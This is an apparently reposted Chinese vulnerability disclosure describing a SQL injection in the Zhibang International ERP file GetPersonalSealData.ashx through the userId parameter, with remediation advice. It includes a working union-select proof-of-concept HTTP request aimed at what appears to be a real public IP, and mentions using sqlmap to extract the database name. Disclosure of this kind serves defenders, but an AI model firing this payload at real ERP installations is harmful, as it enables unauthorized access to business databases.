智邦国际ERP-sql注入漏洞

admin 2024年5月29日08:25:48评论20 views字数 1131阅读3分46秒阅读模式

声明

智邦国际ERP-sql注入漏洞

使

智邦国际ERP-sql注入漏洞

智邦国际ERP-sql注入漏洞

智邦国际 

00

智邦国际ERP-sql注入漏洞

漏洞描述

智邦国际ERP系统是一款整合了进销存业务、财务业务以及办公管理的信息化系统。在其GetPersonalSealData.ashx文件因是应用程序没有正确地验证和清理用户输入的数据,这些数据被直接插入到构造的SQL查询语句中,导致sql注入漏洞。

智邦国际ERP-sql注入漏洞

漏洞详情

漏洞URL:/SYSN/json/pcclient/GetPersonalSealData.ashx

漏洞参数:userId

漏洞详情:

1、访问系统

智邦国际ERP-sql注入漏洞

2、判断sql注入

智邦国际ERP-sql注入漏洞

智邦国际ERP-sql注入漏洞

POC:

GET /SYSN/json/pcclient/GetPersonalSealData.ashx?imageDate=1&userId=-1%20union%20select%20@@version HTTP/1.1Host: 124.71.42.47User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1X-Forwarded-For: 127.0.0.1

3、sqlmap自动化检测,获取当前数据库名

智邦国际ERP-sql注入漏洞

end

智邦国际ERP-sql注入漏洞

修复建议

1、 使用参数化查询或绑定变量:使用数据库提供的安全机制,将用户输入作为参数嵌入到SQL查询中,而不是直接拼接。
2、验证和过滤用户输入:确保用户输入符合预期的格式和范围,避免接收来自不可信来源的数据。
3、编码输入:在将用户输入嵌入SQL查询之前,对其进行适当的编码或转义,以避免潜在的恶意字符。
4、更新软件和修补程序:及时更新应用程序和相关软件版本,以修复潜在的安全漏洞。

智邦国际ERP-sql注入漏洞

平安喜乐

智邦国际ERP-sql注入漏洞

心宽是一种豁达和宽容的心态,是一种内在的力量,使人能够在各种情境中保持镇定,不被外界的波动所左右。

智邦国际ERP-sql注入漏洞

智邦国际ERP-sql注入漏洞

END

原文始发于微信公众号(小羊安全屋):智邦国际ERP-sql注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月29日08:25:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智邦国际ERP-sql注入漏洞http://cn-sec.com/archives/2788302.html

发表评论

匿名网友 填写信息